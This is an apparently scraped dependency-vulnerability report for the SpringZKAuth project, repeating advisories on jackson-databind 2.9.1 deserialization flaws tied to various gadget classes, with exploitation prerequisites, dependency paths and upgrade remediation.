Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.docx4j.org.apache.xalan.lib.sql.JNDIConnectionPool.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to oadd.org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
